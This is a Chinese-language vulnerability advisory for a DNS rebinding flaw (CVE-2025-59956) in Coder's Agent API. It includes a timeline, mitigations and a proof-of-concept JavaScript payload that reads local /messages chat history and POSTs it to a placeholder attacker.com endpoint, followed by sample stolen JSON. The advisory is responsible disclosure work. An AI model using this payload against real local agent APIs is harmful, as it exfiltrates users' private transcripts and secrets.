作者: Evan Harris
受影响组件: Coder 的 Agent API
CVE: CVE-2025-59956
CVSS 3.1 评分: 6.5 (中) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

概述

Coder 的 Agent API 是一个面向 Claude Code、Goose、Aider、Gemini、Amp 和 Codex 的开源 HTTP API。

MCPSec 在该 Agent API 中发现了一处 DNS 重绑定漏洞,它允许远程攻击者外泄用户的 Claude Code 消息记录。

Coder 已在 v0.4.0 版本中修复此问题。Agent API 用户应更新到该版本或更新的版本。

影响

攻击者可获得对 Agent API 所提供的 /messages 端点的完整 GET 访问权限。

这使得攻击者能够未授权地外泄敏感的用户数据,具体而言是本地消息记录,其中可能包含密钥、文件系统内容以及用户在本地处理的知识产权。

一旦连接到恶意 Web 服务器,DNS 重绑定可能在几秒钟内发生。

概念验证

设定以下假设:

  • 受害者的机器正在运行 Agent API。
  • 受害者访问了一个恶意网站。
  • 该网站执行 DNS 重绑定攻击,操纵受害者的 Web 浏览器,使其代表攻击者与存在漏洞的 Agent API 进行交互。

在 DNS 重绑定完成之后,攻击者即可访问本地提供的 /messages 端点。受害者与 Agent API 的整个聊天记录都可被外泄到攻击者的服务器。

MCPSec 通过以下方式进行了概念验证攻击:

  1. 部署一个 DNS 重绑定应用程序(例如 Singularity of Origin)。

  2. 构造一段由恶意网站提供的载荷,用于获取并外泄数据。

这段从恶意站点提供的 JavaScript 代码会获取消息记录并将其发送给攻击者。

const AgentAPI = () => {
  function attack(headers, cookie, body) {
    fetch('http://localhost:3284/messages', {
      method: 'GET',
      mode: "cors",
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal'
      response.json().then(victimMessageHistory => {
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(victimMessageHistory)
        }).then(r => {
          console.log("attacker server response", r)
        }).catch(e => {
          console.error('failed to post', e)
        })
      }).catch(e => {
        console.error('failed to parse response ', e)
      })
    }).catch(e => {
      console.error("failed to get messages", e)
    })
  }

  // Invoked to determine whether the rebinded service
  // is the one targeted by this payload. Must return true or false.
  async function isService(headers, cookie, body) {
    let controller = new AbortController();
    let signal = controller.signal;
    return timeout(1000, fetch(`http://localhost:3284/docs`, {
        mode: 'no-cors',
        credentials: 'omit',
        signal
      }), controller)
      .then(response => {
        return true;
      })
      .catch(e => {
        return (false);
      })
  }

  return {
    attack,
    isService
  }
}

Registry["AgentAPI"] = AgentAPI();

/messages 端点在受害者的本地机器上提供服务,当被查询时会以其聊天记录作为响应。

  1. 攻击者必须运行一个数据收集服务器,用于接收 POST 请求。该 POST 请求的内容应为受害者 Agent API 的 /messages 端点的响应。

在受害者的机器上,Agent API 被提示查看本地文件系统。以下是发送到攻击者数据收集服务器的内容:

以下是从一名曾向代理询问其本地文件系统的受害者处窃取的 JSON 数据示例。

{
  "$schema": "http://localhost:3284/schemas/MessagesResponseBody.json",
  "messages": [{
    "id": 0,
    "content": "╭───────────────────────────────────────────────────╮ \n│ ✻ Welcome to Claude Code! │ \n│ │ \n│ /help for help, /status for your current setup │ \n│ │ \n│ cwd: /home/evan/Downloads │ \n╰───────────────────────────────────────────────────╯ \n \n ※ Tip: Press Esc twice to edit your previous messages ",
    "role": "agent",
    "time": "2025-07-25T11:20:04.988043205+02:00"
  }, {
    "id": 1,
    "content": "Hello, agent!",
    "role": "user",
    "time": "2025-07-25T13:11:16.699082236+02:00"
  }, {
    "id": 3,
    "content": "tell me about my filessytem",
    "role": "user",
    "time": "2025-07-25T13:14:51.120102556+02:00"
  }, {
    "id": 4,
    "content": "● I'll explore your filesystem to show you what's in your current directory \n and its structure. \n \n● List(.) \n ⎿ Listed 1048 paths (ctrl+r to expand) \n \n● Your Downloads directory contains a wide variety of files: \n \n Documents & PDFs [REDACTED_FOR_MY_OWN_SECURITY] The directory appears to be a typical developer's Downloads folder with a \n mix of tools, documents, and research materials, particularly focused on \n AI/ML security research.",
    "role": "agent",
    "time": "2025-07-25T13:15:10.681040365+02:00"
  }]
}

建议的缓解措施

面向用户(立即)

  • 立即更新到 Agent API v0.4.0 或更新的版本。 该版本包含对此漏洞的修复。

面向开发者(长期)

  • 为所有本地提供的 HTTP API 实施健壮的 Host 头校验,以防止 DNS 重绑定。
  • 实施 CSRF 防护,以防止其他形式的跨源攻击。
  • 为暴露本地网络服务的工具在文档中添加安全警告

该漏洞已通过负责任的披露实践报告给 Coder 团队。Coder 迅速做出响应并修复了该问题。

披露时间线

  • 2025-07-25:向 Coder 提交初始漏洞报告。
  • 2025-07-25:Coder 确认收到报告。
  • 2025-07-29:Coder 表示能够复现并验证该攻击场景。
  • 2025-08-13:漏洞已被修复。
  • 2025-08-21:Coder 决定为该报告发放安全赏金。
  • 2025-09-09:双方就可接受的公告发布日期达成一致。
  • 2025-09-19:安全公告发布。

结论

Coder 的 Agent API 中的 DNS 重绑定漏洞,展现了不断壮大的本地 AI 驱动开发者工具生态所面临的一项关键安全挑战。尽管这些工具提供了强大的能力,但它们必须以安全优先的理念构建,以抵御基于 Web 的威胁。

特别感谢 Coder 团队在修复此漏洞时迅速而专业的响应。所有 Agent API 用户都应更新到最新版本,以确保自身受到保护。

参考资料